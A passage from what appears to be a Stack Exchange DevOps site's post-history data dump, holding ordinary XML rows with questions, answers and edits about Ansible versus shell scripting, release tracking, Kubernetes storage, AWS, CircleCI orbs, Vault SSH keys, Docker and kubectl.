things in your playbooks.” Now it starts to be a bit interesting, but:&#xD;&#xA;&#xD;&#xA;1. Aside from a handful of standard situations readily implemented by available modules, I will have to feed the bits implementing the test myself, which will quite probably involve some shell commands.&#xD;&#xA;&#xD;&#xA;2. Checking for the conformity of installations might not be very relevant in the context where the immutable server pattern is implemented: where all systems running are typically spawned from a master image (instance image or docker image for instance) and never updated – they are replaced by new instead.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Unaddressed concern: the maintainability&#xD;&#xA;&#xD;&#xA;The introductory material [from Ansible](http://docs.ansible.com/ansible/) ignores the question of the maintainability.  With essentially no type system, shell-scripting has the maintainability ease of JavaScript, Lisp or Python: extensive refactorings can only be achieved successfully with the help of an extensive automated testsuite – or at least designs that allows easy interactive testing. That said, while shell scripting is the [lingua franca](https://en.wikipedia.org/wiki/Mediterranean_Lingua_Franca) from system configuration and maintenance, nearly each programming language has an interface to the shell. It is therefore totally feasible to leverage the maintainability advantage of advanced languages, by using them to glue together the various the bits of shell-configuration bits. For OCaml, I wrote [Rashell](https://github.com/michipili/rashell) that essentially provides a hand of common interaction patterns for subprocesses, which makes the translation of configuration scripts to OCaml essentially trivial.&#xD;&#xA;&#xD;&#xA;On the side from Ansible, the very weak structure of playbooks and the presence of a meta-programming feature make the situation essentially as bad as it is for shell scripting, with the minus points that it is not obvious how to write unit tests for Ansible, and the argument of introducing ad-hoc a higher-level language cannot be mimiced.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Idempotency of configuration steps&#xD;&#xA;&#xD;&#xA;The documentation of Ansible draws the attention on the necessity of writing idempotent configuration steps. More precisely, configuration steps should be written so that the step sequence *a b a* can be simplified to *a b*, i.e. we do not need to repeat configuration step. This is a stronger condition than idempotency. Since Ansible allows playbooks to use arbitrary shell commands, Ansible itself is unable to guarantee that this stronger condition is respected. This only relies on the programmer's discipline and the importance of this variation of idempotency when writing configuration scripts is certainly not a novelty.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Post-Scriptum. Since this answer seems to enjoy a relative popularity, I fixed a few embarrassing syntax errors and typos. By a twist of life I also had to use Ansible two years in my work. Overall my experience confirms what I foreseen here and I hardly can think about a situation where shell scripts would have been really outperformed by Ansible. On some aspects, Ansible is just worse than shell scripting. At least the shell has functions, these functions can be mocked, it is possible to test part of all of them, so overall the shell has much better software engineering features than Ansible has. In a shell script it is also possible to process data and **awk** can express all what SQL can, which is very important when programming configuration – the information we are working with here is not intrinsically hierarchical, so there is a need for extracting an rewriting. Ansible is so bad at extracting and rewriting data! Treatments must be expressed with a mixture of YAMl-templating at the playbook step level and a dialect of Jinja at the dictionary member level… this is cumbersome, ugly, hard to write, hard to test and poorly documented (I regularly looked up the Jinja filter implementations!)." ContentLicense="CC BY-SA 4.0" />
  <row Id="35008" PostHistoryTypeId="2" PostId="11441" RevisionGUID="5ee98a9b-1fb2-4bf7-8ca6-d0bae7b7ad4c" CreationDate="2020-04-25T17:00:44.037" UserId="21936" Text="I spent considerable time googling around, but found nothing that would answer my question, so here it is.&#xD;&#xA;&#xD;&#xA;If you do a canary release, and you learn the the release is somehow broken: how to you denote that a certain tag is broken and should not be deployed anywhere else, but removed from your productions ASAP?&#xD;&#xA;&#xD;&#xA;I had several ideas:&#xD;&#xA;&#xD;&#xA;1. Using GitLab, I could add something like `**broken**` to tag release note. Deploy jobs would call GitLab API to ensure that the tag I want to deploy is not annotated as broken.&#xD;&#xA;&#xD;&#xA;2. I could have a text file in repo, where broken tags would be listed. In this case deploy job checks if the tag you want to deploy is not listed in the file.&#xD;&#xA;&#xD;&#xA;3. Do no save information about release problems: just deploy a new stable, patched version to production and never look back.&#xD;&#xA;&#xD;&#xA;How do/would you handle this? Any tips or hyperlinks are welcome. Thanks in advance, guys." ContentLicense="CC BY-SA 4.0" />
  <row Id="35009" PostHistoryTypeId="1" PostId="11441" RevisionGUID="5ee98a9b-1fb2-4bf7-8ca6-d0bae7b7ad4c" CreationDate="2020-04-25T17:00:44.037" UserId="21936" Text="How to keep track of broken releases?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35010" PostHistoryTypeId="3" PostId="11441" RevisionGUID="5ee98a9b-1fb2-4bf7-8ca6-d0bae7b7ad4c" CreationDate="2020-04-25T17:00:44.037" UserId="21936" Text="&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35011" PostHistoryTypeId="50" PostId="8755" RevisionGUID="5156d04a-d24d-4593-927d-e2c1d4b9cea5" CreationDate="2020-04-25T17:03:45.417" UserId="-1" />
  <row Id="35012" PostHistoryTypeId="5" PostId="11441" RevisionGUID="6450c39d-f979-4340-9270-27bbe1179b12" CreationDate="2020-04-25T19:09:34.893" UserId="739" Comment="remove premature thanks" Text="I spent considerable time googling around, but found nothing that would answer my question, so here it is.&#xD;&#xA;&#xD;&#xA;If you do a canary release, and you learn the the release is somehow broken: how to you denote that a certain tag is broken and should not be deployed anywhere else, but removed from your productions ASAP?&#xD;&#xA;&#xD;&#xA;I had several ideas:&#xD;&#xA;&#xD;&#xA;1. Using GitLab, I could add something like `**broken**` to tag release note. Deploy jobs would call GitLab API to ensure that the tag I want to deploy is not annotated as broken.&#xD;&#xA;&#xD;&#xA;2. I could have a text file in repo, where broken tags would be listed. In this case deploy job checks if the tag you want to deploy is not listed in the file.&#xD;&#xA;&#xD;&#xA;3. Do no save information about release problems: just deploy a new stable, patched version to production and never look back.&#xD;&#xA;&#xD;&#xA;How do/would you handle this? Any tips or hyperlinks are welcome." ContentLicense="CC BY-SA 4.0" />
  <row Id="35013" PostHistoryTypeId="2" PostId="11442" RevisionGUID="c1ca7179-515e-4c56-9453-762c1e8d7fe4" CreationDate="2020-04-26T04:09:13.757" UserId="10692" Text="I'm quite new and try to get my head around kubernetes and GKE so here it goes:&#xD;&#xA;&#xD;&#xA;I would like an application to write data to a persistent storage.&#xD;&#xA;&#xD;&#xA;If I'd scale up, or down, or a pod dies,&#xD;&#xA;I'd like this persistent storage to survive.&#xD;&#xA;&#xD;&#xA;Also, the same data should be available to different pods.&#xD;&#xA;&#xD;&#xA;How do I achieve this?&#xD;&#xA;&#xD;&#xA;The data are images, so storing them in a database could be a valid solution for this case,&#xD;&#xA;but I wondered whether - if data is big - there are also solutions with filesystems &#xD;&#xA;to achieve this...&#xD;&#xA;&#xD;&#xA;Thanks for answering,&#xD;&#xA;&#xD;&#xA;S." ContentLicense="CC BY-SA 4.0" />
  <row Id="35014" PostHistoryTypeId="1" PostId="11442" RevisionGUID="c1ca7179-515e-4c56-9453-762c1e8d7fe4" CreationDate="2020-04-26T04:09:13.757" UserId="10692" Text="GKE: Sharing the same filesystem across pods" ContentLicense="CC BY-SA 4.0" />
  <row Id="35015" PostHistoryTypeId="3" PostId="11442" RevisionGUID="c1ca7179-515e-4c56-9453-762c1e8d7fe4" CreationDate="2020-04-26T04:09:13.757" UserId="10692" Text="&lt;storage&gt;&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35016" PostHistoryTypeId="2" PostId="11443" RevisionGUID="491910f3-57b6-4f69-880d-9ea3b133c562" CreationDate="2020-04-26T06:18:44.107" UserId="21943" Text="Is there a way to onboard the Raspberrypi device in AWS. So that the same device can be managed using ec2 console and it can seamlessly work with the rest of AWS services?&#xD;&#xA;&#xD;&#xA;I am just an experimental user, I don't need much heavy computer but use AWS to host my website and blogs, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="35017" PostHistoryTypeId="1" PostId="11443" RevisionGUID="491910f3-57b6-4f69-880d-9ea3b133c562" CreationDate="2020-04-26T06:18:44.107" UserId="21943" Text="AWS: Onboarding on premise instance" ContentLicense="CC BY-SA 4.0" />
  <row Id="35018" PostHistoryTypeId="3" PostId="11443" RevisionGUID="491910f3-57b6-4f69-880d-9ea3b133c562" CreationDate="2020-04-26T06:18:44.107" UserId="21943" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35019" PostHistoryTypeId="2" PostId="11444" RevisionGUID="a99a14fb-b064-45b5-bf17-c957b4998856" CreationDate="2020-04-26T06:27:38.503" UserId="10692" Text="I think it's a pretty n00b question :(&#xD;&#xA;&#xD;&#xA;I suppose you'd need a pod which manages the filesystem,&#xD;&#xA;and make it available to the other pods which need the functionality to store data on it...&#xD;&#xA;&#xD;&#xA;Br,&#xD;&#xA;&#xD;&#xA;S." ContentLicense="CC BY-SA 4.0" />
  <row Id="35020" PostHistoryTypeId="2" PostId="11445" RevisionGUID="e78d2bc0-f781-49db-9da4-28c11aa23319" CreationDate="2020-04-26T06:47:49.663" UserId="8800" Text="AWS console is for managing AWS resources, which, arguably, your Raspberry Pi is not. &#xD;&#xA;&#xD;&#xA;Some services can work with non-AWS resources. For example you can install *System manager agent* (though not sure if there is a RPi version) on on-prem servers. &#xD;&#xA;&#xD;&#xA;Alternatively you can install [**AWS Greengrass for Raspberry Pi**](https://docs.aws.amazon.com/greengrass/latest/developerguide/setup-filter.rpi.html) that gives it *some* AWS capabilities. &#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35024" PostHistoryTypeId="2" PostId="11447" RevisionGUID="c1fe34bc-2ce4-4cca-ab94-5f128774a3dc" CreationDate="2020-04-26T13:38:33.540" UserId="19143" Text="I am not sure about other approaches, but the one that I use is a modification of #3.&#xD;&#xA;&#xD;&#xA;There's usually a classification of releases (for example think of Ubuntu LTS and regular release).&#xD;&#xA;&#xD;&#xA; 1. For the regular release, I would just release a new version and add a new tag.&#xD;&#xA; 2. For LTS/Stable releases I would delete a tag pointing to a faulty release&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35025" PostHistoryTypeId="2" PostId="11448" RevisionGUID="aaac7f2f-e4e6-40e5-a0fd-bd0c1c111122" CreationDate="2020-04-26T15:53:43.613" UserId="19963" Text="I'm building a product to solve this problem among others - https://relizahub.com (note it's pretty early stage at the moment).&#xD;&#xA;&#xD;&#xA;Idea goes as following - for all your releases you stream their details to Reliza Hub. You would then have a client that would pick up releases you need based on combination of tags, approvals, etc. So it is somewhat similar to your #1 approach. For broken releases you either do not approve them or mark them as 'REJECTED' and this would stop them from propagating in your pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="35029" PostHistoryTypeId="5" PostId="11447" RevisionGUID="e447c224-c9c8-4e4b-a6a2-d44e4a4373f2" CreationDate="2020-04-26T17:28:53.730" UserId="19143" Comment="added 38 characters in body" Text="I am not sure about other approaches, but the one that I use is a modification of #3.&#xD;&#xA;&#xD;&#xA;There's usually a classification of releases (for example think of Ubuntu LTS and regular release).&#xD;&#xA;&#xD;&#xA; 1. For the regular release, I would just release a new version and add a new tag.&#xD;&#xA; 2. For LTS/Stable releases I would delete a tag pointing to a faulty release or change a commit this tag points to&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35030" PostHistoryTypeId="6" PostId="11172" RevisionGUID="515f8295-0de8-4d00-87e2-46dfbb792464" CreationDate="2020-04-26T19:15:14.510" UserId="8125" Comment="add new tag to reference the Google Cloud service in question" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35031" PostHistoryTypeId="24" PostId="11172" RevisionGUID="515f8295-0de8-4d00-87e2-46dfbb792464" CreationDate="2020-04-26T19:15:14.510" Comment="Proposed by 8125 approved by 739, 40 edit id of 1195" ContentLicense="CC BY-SA 4.0" />
  <row Id="35032" PostHistoryTypeId="2" PostId="11450" RevisionGUID="1df8ed8b-eaff-401a-ac91-1aadac7cd626" CreationDate="2020-04-26T22:59:14.393" UserId="21951" Text="I can't say that I've used SaltStack, but I have a good deal of experience with Ansible.  The two are different approaches.  Event based use is not hidden, it is just not there by itself.&#xD;&#xA;&#xD;&#xA;Ansible is agent-less (no minions), and as such it relies on a management system to be able to control.  This adds flexibility on how to manage events, where they come from, how they are raised and what to do in an automated fashion.  This means that it can be used for provisioning through CI/CD, fixing faults through a monitoring system, combined with a server agent like Telegraf.&#xD;&#xA;&#xD;&#xA;The questions I think that should be asked is: what would trigger the tool, where it should run and what should be performed.  The rest is just getting the right tools to link up.  Generally, it will involve a CI/CD system, but there are plenty of those.&#xD;&#xA;&#xD;&#xA;Some example uses cases:&#xD;&#xA;&#xD;&#xA; - detecting a flake in a build on a bare-metal server in a pipeline, triggering to re-provision the server.&#xD;&#xA;&#xD;&#xA; - a trigger coming from the PR system, to start a build to update test servers.&#xD;&#xA;&#xD;&#xA; - Telegraf detects a disk issue, which triggers an alert which can then start a build to resize the disk or provision a larger server and transfer services there.&#xD;&#xA;&#xD;&#xA;Except for the Telegraf use case, the events are likely coming from sources other than the agent running.  And then with the Telegraf case, the option of provisioning a different server would be outside the scope of SaltStack.&#xD;&#xA;&#xD;&#xA;To answer your last question of even to use a event-driven model, it's a matter of necessity and choice depending on the use cases." ContentLicense="CC BY-SA 4.0" />
  <row Id="35033" PostHistoryTypeId="2" PostId="11451" RevisionGUID="a7d502d7-5d4f-4abd-9b4b-f7fca0a1e42e" CreationDate="2020-04-27T00:18:17.940" UserId="21951" Text="There shouldn't be any reason why you can't.  I think that the issue would be in getting the memory management correct on the host.  The orchestration would be the same.&#xD;&#xA;&#xD;&#xA;Here's some resources:&#xD;&#xA;&#xD;&#xA; - https://dev.mysql.com/doc/mysql-cluster-excerpt/8.0/en/faqs-mysql-cluster.html#qandaitem-B-1-13&#xD;&#xA;&#xD;&#xA; - https://www.digitalocean.com/community/tutorials/how-to-create-a-multi-node-mysql-cluster-on-ubuntu-18-04.  It shows with docker as well. it shouldn't be hard to apply to vmware or k8s.&#xD;&#xA;&#xD;&#xA; - https://towardsdatascience.com/high-availability-mysql-cluster-with-load-balancing-using-haproxy-and-heartbeat-40a16e134691/&#xD;&#xA;&#xD;&#xA; - https://www.cockroachlabs.com/docs/stable/orchestrate-a-local-cluster-with-kubernetes.html to set up k8s locally." ContentLicense="CC BY-SA 4.0" />
  <row Id="35034" PostHistoryTypeId="2" PostId="11452" RevisionGUID="5102eeb5-0a3c-491b-a5b1-39797217a595" CreationDate="2020-04-27T02:45:35.007" UserId="16059" Text="I spent a long time on this problem and made 2 custom solutions as nothing out of the box exists.&#xD;&#xA;&#xD;&#xA;Both steps require you to either use both the experimental and the extra plugin API **or** to have access to the remote database.&#xD;&#xA;&#xD;&#xA;At that point, basically either:&#xD;&#xA;&#xD;&#xA; - Make a GUI plugin on a separate page that hits the APIs and shows all tasks (list exec dates, list tasks in exec date, get status of each).&#xD;&#xA; - Make python operator steps in your dag to call out to the state of the remote dag steps with the same name.  It's hard to reflect anything outside of running/done though as you need your step to keep checking in case the remote end restarts the step/tries again.&#xD;&#xA;&#xD;&#xA;The APIs are slow, so this isn't fun.  I'd recommend going for the DB if you have the option.&#xD;&#xA;&#xD;&#xA;Airflow 2.0 will fix the APIs apparently, and then this may be a lot easier." ContentLicense="CC BY-SA 4.0" />
  <row Id="35043" PostHistoryTypeId="2" PostId="11455" RevisionGUID="c580a0e9-71f7-45e5-94dc-9c6c75f19ec7" CreationDate="2020-04-27T20:23:24.367" UserId="21970" Text="I have a nodejs application using expressjs. This server is handing a website built on vuejs, an application using angular and another angular app. Everything is working and I deployed to AWS eb using a pipeline. The problem is when a website change is made I build it and commit the change to AWS code commit.&#xD;&#xA;&#xD;&#xA;Is there a way to make this automatic?&#xD;&#xA;&#xD;&#xA;Should I keep all projects in the same repo?&#xD;&#xA;&#xD;&#xA;What I want is: website change -&gt; commit -&gt; build website only -&gt; push to AWS.&#xD;&#xA;&#xD;&#xA;The only solution I can think of is to rebuild the 3 projects every time." ContentLicense="CC BY-SA 4.0" />
  <row Id="35044" PostHistoryTypeId="1" PostId="11455" RevisionGUID="c580a0e9-71f7-45e5-94dc-9c6c75f19ec7" CreationDate="2020-04-27T20:23:24.367" UserId="21970" Text="Continuous deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="35045" PostHistoryTypeId="3" PostId="11455" RevisionGUID="c580a0e9-71f7-45e5-94dc-9c6c75f19ec7" CreationDate="2020-04-27T20:23:24.367" UserId="21970" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35046" PostHistoryTypeId="2" PostId="11456" RevisionGUID="821bf40b-6578-4d6c-8df9-200c949e7a12" CreationDate="2020-04-28T06:35:52.203" UserId="21975" Text="I would suggest adding a job that checks changes in the latest commit and build only that service where some files have been changed." ContentLicense="CC BY-SA 4.0" />
  <row Id="35047" PostHistoryTypeId="5" PostId="11434" RevisionGUID="50549daa-4eb3-4d61-9091-ddde68bccb50" CreationDate="2020-04-28T06:52:45.133" UserId="20042" Comment="added 77 characters in body" Text="Let me answer each your question in parts.&#xD;&#xA;&#xD;&#xA;# What the point is?&#xD;&#xA;&#xD;&#xA;As per [Orbs Introduction](https://circleci.com/docs/2.0/orb-intro/):&#xD;&#xA;&#xD;&#xA;&gt; orbs are shareable packages of configuration elements, including jobs, commands, and executors. &#xD;&#xA;&gt; CircleCI provides certified orbs, along with 3rd-party orbs authored by CircleCI partners&#xD;&#xA;&#xD;&#xA;The advantages of this approach are that an **authorized** package of **jobs**, **commands**, and **executors** is offered.&#xD;&#xA;&#xD;&#xA;Assuming [hundreds of `orbs`](https://circleci.com/orbs/registry/), it looks like a community-approved plugin/addon ecosystem. E.g. `Ansible roles` or `Jenkins plugins` or `Wordpress plugins`&#xD;&#xA;&#xD;&#xA;# `orbs` vs shell functions/script&#xD;&#xA;&#xD;&#xA;Since `orb` packages:&#xD;&#xA;&#xD;&#xA;* [`jobs`](https://circleci.com/docs/2.0/jobs-steps/#jobs-overview), &#xD;&#xA;* `commands`,&#xD;&#xA;* and [`executors`](https://circleci.com/docs/2.0/using-orbs/#executors), &#xD;&#xA;&#xD;&#xA;then it can hardly be replaced by a simple combinations of shell commands/functions. &#xD;&#xA;&#xD;&#xA;# Seems like unnecessary lockin?&#xD;&#xA;&#xD;&#xA;As for lock-in concerns: you are right. &#xD;&#xA;&#xD;&#xA;It looks like lock-in. And it **is** lock-in. &#xD;&#xA;&#xD;&#xA;But as I know, there isn't any portable solution than can be easily migrated from one `CI/CD` system to another. E.g. try to convert `.gitlab-ci.yml` to `travis.yml`.&#xD;&#xA;&#xD;&#xA;But lock-in's, as usual, tend to give you an advantage in speed or ease of deployment.&#xD;&#xA;&#xD;&#xA;# Portability&#xD;&#xA;&#xD;&#xA;Since there are four [executor types](https://circleci.com/docs/2.0/executor-types/) (`docker`, `machine`, `windows` and `macos`), it gives you more portable and cross-platform approach." ContentLicense="CC BY-SA 4.0" />
  <row Id="35051" PostHistoryTypeId="2" PostId="11458" RevisionGUID="5f90375c-ac63-4de0-b70b-ce4a320a57ed" CreationDate="2020-04-28T10:49:37.767" UserId="20152" Text="Is it possible to use ECDSA or EdDSA instead of RSA when configuring SSH-CA on HashiCorp Vault?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35052" PostHistoryTypeId="1" PostId="11458" RevisionGUID="5f90375c-ac63-4de0-b70b-ce4a320a57ed" CreationDate="2020-04-28T10:49:37.767" UserId="20152" Text="Vault SSH-CA Elliptic Curve rather than RSA" ContentLicense="CC BY-SA 4.0" />
  <row Id="35053" PostHistoryTypeId="3" PostId="11458" RevisionGUID="5f90375c-ac63-4de0-b70b-ce4a320a57ed" CreationDate="2020-04-28T10:49:37.767" UserId="20152" Text="&lt;hashicorp-vault&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35055" PostHistoryTypeId="5" PostId="11458" RevisionGUID="7db17e61-58b6-4b18-ba0d-ade7c2a7077d" CreationDate="2020-04-28T12:26:45.290" UserId="20042" Comment="Formatting and tags" Text="Is it possible to use `ECDSA`([Elliptic Curve Digital Signature Algorithm](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm)) or `EdDSA`([ Edwards-curve Digital Signature Algorithm](https://en.wikipedia.org/wiki/EdDSA)) instead of `RSA` when configuring `SSH-CA` on `HashiCorp Vault`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35056" PostHistoryTypeId="4" PostId="11458" RevisionGUID="7db17e61-58b6-4b18-ba0d-ade7c2a7077d" CreationDate="2020-04-28T12:26:45.290" UserId="20042" Comment="Formatting and tags" Text="Vault `SSH-CA` Elliptic Curve rather than `RSA`" ContentLicense="CC BY-SA 4.0" />
  <row Id="35057" PostHistoryTypeId="6" PostId="11458" RevisionGUID="7db17e61-58b6-4b18-ba0d-ade7c2a7077d" CreationDate="2020-04-28T12:26:45.290" UserId="20042" Comment="Formatting and tags" Text="&lt;hashicorp-vault&gt;&lt;encryption&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35058" PostHistoryTypeId="24" PostId="11458" RevisionGUID="7db17e61-58b6-4b18-ba0d-ade7c2a7077d" CreationDate="2020-04-28T12:26:45.290" Comment="Proposed by 20042 approved by 20152 edit id of 1197" ContentLicense="CC BY-SA 4.0" />
  <row Id="35059" PostHistoryTypeId="34" PostId="11369" RevisionGUID="cef8e5c2-9cba-492f-84eb-9c5087835ed2" CreationDate="2020-04-28T20:06:55.737" UserId="-1" Comment="55" />
  <row Id="35064" PostHistoryTypeId="2" PostId="11461" RevisionGUID="b86ecc33-2835-4248-8a42-f7a5ca841df5" CreationDate="2020-04-29T09:19:51.140" UserId="21992" Text="I'm in a planning phase for a little tool for myself. I have to say that I have close to 0 experience with docker.&#xD;&#xA;&#xD;&#xA;**My setup**&#xD;&#xA;&#xD;&#xA; - 1 x Nodejs App in a Container (lets call it _App_)&#xD;&#xA; - n x Instances/Containers of the same image (lets call it _Agent_)&#xD;&#xA;&#xD;&#xA;**What I want**  &#xD;&#xA;&#xD;&#xA;I'm looking for a way to restart one of the _Agents_ from within my _App_.&#xD;&#xA;&#xD;&#xA;**The problem**  &#xD;&#xA;I just managed to create my first docker-compose. From here I'm stuck. I just have no idea how to cross-access the container from my _Apps_ container (by script) or if this is even possible and then force to restart it (like `docker restart #hash` does).&#xD;&#xA;&#xD;&#xA;**My current docker-compose.yml** (if that helps in any way)  &#xD;&#xA;```&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;    app:&#xD;&#xA;        container_name: app&#xD;&#xA;        volumes: &#xD;&#xA;            - .:/usr/src/app&#xD;&#xA;        restart: always&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;            - '8080:3000'&#xD;&#xA;        links:&#xD;&#xA;            - agent&#xD;&#xA;&#xD;&#xA;    # no control over this as this is an existing image from docker hub&#xD;&#xA;    agent:&#xD;&#xA;        restart: always&#xD;&#xA;        image: image/from/dockerhub&#xD;&#xA;        ports:&#xD;&#xA;            - '1234'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;... which I would run as `docker-compose up --scale agent=n`.  &#xD;&#xA;&#xD;&#xA;I'm not necessarily looking for a complete solution. If someone could guide me into the right direction I would really appreciate it.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35065" PostHistoryTypeId="1" PostId="11461" RevisionGUID="b86ecc33-2835-4248-8a42-f7a5ca841df5" CreationDate="2020-04-29T09:19:51.140" UserId="21992" Text="Restart docker container from another container" ContentLicense="CC BY-SA 4.0" />
  <row Id="35066" PostHistoryTypeId="3" PostId="11461" RevisionGUID="b86ecc33-2835-4248-8a42-f7a5ca841df5" CreationDate="2020-04-29T09:19:51.140" UserId="21992" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35067" PostHistoryTypeId="2" PostId="11462" RevisionGUID="c69e97f6-aa88-4ed8-b11e-f1d93dabbfd2" CreationDate="2020-04-29T09:34:37.173" UserId="21993" Text="When starting up an Amazon ECS task with launch type FARGATE it fails with the following reason:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ResourceInitializationError: failed to invoke EFS utils commands to set up EFS volumes: command failed with 32: failed to execute command to invoke EFS utils: mount.nfs4:&#xD;&#xA;&#xD;&#xA;Connection timed out&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35068" PostHistoryTypeId="1" PostId="11462" RevisionGUID="c69e97f6-aa88-4ed8-b11e-f1d93dabbfd2" CreationDate="2020-04-29T09:34:37.173" UserId="21993" Text="Startup of ECS Fargate task fails with ResourceInitializationError mount.nfs4 Connection timed out" ContentLicense="CC BY-SA 4.0" />
  <row Id="35069" PostHistoryTypeId="3" PostId="11462" RevisionGUID="c69e97f6-aa88-4ed8-b11e-f1d93dabbfd2" CreationDate="2020-04-29T09:34:37.173" UserId="21993" Text="&lt;amazon-ecs&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35070" PostHistoryTypeId="2" PostId="11463" RevisionGUID="a98ac1c2-d20d-4252-b653-4406a90f5b0a" CreationDate="2020-04-29T09:34:37.173" UserId="21993" Text="Underlying reason:&#xD;&#xA;&#xD;&#xA;The ECS service's network access security group did not have permission to access EFS.&#xD;&#xA;&#xD;&#xA;Solution:&#xD;&#xA;&#xD;&#xA;Add an inbound rule for type `NFS` in the security group as described in this tutorial: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html#efs-security-group" ContentLicense="CC BY-SA 4.0" />
  <row Id="35071" PostHistoryTypeId="2" PostId="11464" RevisionGUID="d2523e1d-492e-499c-af8a-e3e03de6229e" CreationDate="2020-04-29T13:12:59.473" UserId="21997" Text="When execute &quot;*kubectl create deployment nginx --image nginx --dry-run=client -o yaml*&quot; not has option &quot;*--port*&quot; or &quot;*--containerPort*&quot;&#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        app: nginx&#xD;&#xA;      name: nginx&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: nginx&#xD;&#xA;      strategy: {}&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          creationTimestamp: null&#xD;&#xA;          labels:&#xD;&#xA;            app: nginx&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - image: nginx&#xD;&#xA;            name: nginx&#xD;&#xA;            resources: {}&#xD;&#xA;    status: {}&#xD;&#xA;&#xD;&#xA;There is a way to generate yaml with the containerPort option?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35072" PostHistoryTypeId="1" PostId="11464" RevisionGUID="d2523e1d-492e-499c-af8a-e3e03de6229e" CreationDate="2020-04-29T13:12:59.473" UserId="21997" Text="kubectl create deployment not has the option containerPort" ContentLicense="CC BY-SA 4.0" />
  <row Id="35073" PostHistoryTypeId="3" PostId="11464" RevisionGUID="d2523e1d-492e-499c-af8a-e3e03de6229e" CreationDate="2020-04-29T13:12:59.473" UserId="21997" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35077" PostHistoryTypeId="5" PostId="11464" RevisionGUID="a0fef8e7-1565-4b4a-9338-50180917734c" CreationDate="2020-04-29T13:36:15.223" UserId="739" Comment="copy editing" Text="When I execute `kubectl create deployment nginx --image nginx --dry-run=client -o yaml` it does not have options `--port` or `--containerPort`.  My yaml is:&#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        app: nginx&#xD;&#xA;      name: nginx&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: nginx&#xD;&#xA;      strategy: {}&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          creationTimestamp: null&#xD;&#xA;          labels:&#xD;&#xA;            app: nginx&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - image: nginx&#xD;&#xA;            name: nginx&#xD;&#xA;            resources: {}&#xD;&#xA;    status: {}&#xD;&#xA;&#xD;&#xA;Is there a way to generate yaml with the `containerPort` option?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
